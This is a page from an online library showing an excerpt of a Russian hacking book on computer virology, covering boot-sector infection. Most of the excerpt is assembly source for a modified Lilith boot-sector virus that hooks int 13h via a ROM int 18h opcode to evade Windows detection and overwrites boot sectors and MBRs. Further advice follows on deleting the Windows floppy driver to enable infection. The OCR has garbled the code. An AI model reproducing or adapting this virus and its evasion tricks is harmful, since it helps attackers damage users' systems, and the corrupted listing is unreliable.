Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 69 70 71 72 73 74 < 75 > 76 77 78 79 80 81 .. 123 >> Следующая

MBR. Windows просто проверяет адрес ISR 13h, и если тот не указывает на
чтение только в памяти (что означает перехват прерывания), она показывает
предупреждающее сообщение. Значит, нам нужно заставить int 13h указывать
на чтение только в памяти. Хорошее решение нашел анонимный автор,
создавший вирус Лилит.
Lilith сначала осматривает ROM (0F000:0000 -> 0F000:FFFF) и ищет опкод
int 18h (равный 18CDh). Затем вирус заставляет int 13h указывать на
адрес, где был найден опкод int 18h и перехватывает int 18h, заменяя его
на адрес вирусного обработчика. Когда int 13h получает вызов для первого
прыжка в ROM, в этом адресе выполняется int 18h (который совершает прыжок
к вирусному коду). Ниже приведена модификация Lilith, которая не
позволяет Windows определять наличие вируса.
..........Исходный код вируса-
.286
Virus segment para private 'code' assume CS:Virus
ORGO
Start:
jmp $+3Ch+3 nop
db 3Ch dup(?)
xor ax,ax cli
mov ss.ax
4
mov sp,7c00h
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Sti
mov ds.ax int 12h dec ax
movds:[0413h],ax shl ax,6 mov es.ax mov si,7C00h xor di.di
mov cx.TheEnd - Start rep movsb
push es ;вталкиваем в стек адрес вновь назначенной памяти, push offset
InMem retf ;и прыгаем туда
InMem: xor ах,ах
moves,ах .устанавливаем ES до нуля (таблица прерываний)
mcvax,0F000h .заставляем DS указывать на начало ROM. mov ds.ax
xor si,si ;начинаем поиск в нулевом офсете int18hLoopy:
cmp word ptr ds:[si],18CDh -.поиск опкода int 18h
je Foundlntl 8h ;если найден, выход
inc si ; иначе проверяем следующие два байта
cmp si.OFFFFh продолжаем эту петлю, пока опкод не
ГЛАВА 6. Инфицирование загрузочного сектора
;будет найден jne inti 8hLoopy ;или пока SI = FFFF
lea ax,Newlnt13h+3 ;если опкод int 18h не был найден mov bx.cs
{перехватываем int 13h обычным образом
cli
xchg ax.word ptr es:[13h*4] xchg bx.word ptr es: [ 13h*4+2] mov word ptr
es: [0F6h*4] ,ax mov word ptr es:[0F6h*4+2],bx sti
jmp Reboot
Foundlnt 18h: ;если опкод был найден, выполнение
{продолжается здесь,
;с адресом опкода int 18h в F000:SI
xor ах,ах
mov ds.ax ; ds = 0 (таблица прерываний) cli
les bx,ds:[13h*4] {загружаем адрес строки {первоначального int I3h в
es:bx
mov ds:[0F6h*4],bx {делаем int 0F6h = {первоначальному int13h
mov ds:[0F6h*4+2],es
mov ds:[13h*4],si {перехват int 13h на адрес, где был
mov word ptr ds:[13h*4+2],0F000h ;найден опкод int 18h
mov word ptr ds:[18h*4],offset Newlnt13h {затем {заставляем int 18h
указывать mov ds:[ 18h*4+2],cs ;на код вируса
sti
Reboot:
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
int 19h Newlnt13h:
add sp,6 ;не забудьте об этом ADD SP.6 в начале
;вашей службы int 13h, если будете
; использовать эту технику!
Когда программа выполняет int 13h, CPU сначала вталкивает в стек флаги,
затем идет cs:ip следующей инструкции, далее мы прыгаем к опкоду int
18h,который снова вталкивает в стек флаги, после чего следует другая пара
cs:ip.
Вы должны избавиться от 3 значений, которые int 18h вталкивает в стек,
иначе CPU прыгнет мимо опкода int 18h (что приведет к зависанию системы
при выполнении IRET. ADD SP,6 перемещает указатель стека на 6 байтов
вверх, гарантируя, что вызов int 18Ь никогда не случится).
Ниже представлен стандартный код вируса загрузочного сектора.
cmp ah,2 jne NotForUs cmp cx,1 jne NotForUs cmp dh,0 jne NotForUs
int 0F6h jne ViralStuff retf 2 NotForUs: int 0F6h retf 2
ViralStuff: pushf pusha push es
ГЛАВА 6. Инфицирование загрузочного сектора
push ds
cmp es:[bx+offset InfectionMarkerj.'CB'
jne Infect
mov ax,0201h
call GetBSMBRSector
int 0F6h
jmp Return
Infect:
mov ax,0301h call GetBSMBRSector int 0F6h push es cs pop es ds
movsi.bx add si,2 lea di,[Start+2] mov cx,3Ch rep movsb mov si.bx
add bx,offset PartitionTable
lea di,PartitionTable
mov cx,64
rep movsb
mov ax,0301h
xor bx.bx
mov cx,1
mov dh,0
int 0F6h
return: pop ds pop es popa popf retf 2
GetBSMBRSector:
9QR
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
or dl.di
jsHOO
movcx.14
movdht1
ret
HDD: mov cx,2 mov dh,0 ret
InfectionMarker dw 'CB'
ORG 1BEh
PartitionTable db 64 dup(X) db 55h, OAAh
TheEnd label byte
Virus ends end start
-Конец исходного кода-
Теперь давайте подумаем, почему в Windows диски не инфицируются простыми
загрузочными вирусами? Потому что Windows использует свои собственные
(32-битные) службы доступа к дискам. Если мы удалим их, Windows придется
обратиться к нашим старым знакомым - службам BIOS routines. И тогда мы
сможем инфицировать диски, даже работая в Windows.
Для этого нужно удалить драйвер дискет (int 21h / Func 41h), который
находится в C:\WINDOWS\SYSTEM\IOSUBSYS\ HSFLOP.PDR.
Отличным примером данного метода может служить следующая часть вируса
Baphometh v1.0. Кстати, в Baphometh имеется новая черта, присущая
многоцелевым вирусам. Данная "зверушка"
29В
ГЛАВА 6. Инфицирование загрузочного сектора
заражает не только загрузочные секторы и главные загрузочные записи, но и
прочие файлы. Для этого вирус перехватывает int 21h.
Предыдущая << 1 .. 69 70 71 72 73 74 < 75 > 76 77 78 79 80 81 .. 123 >> Следующая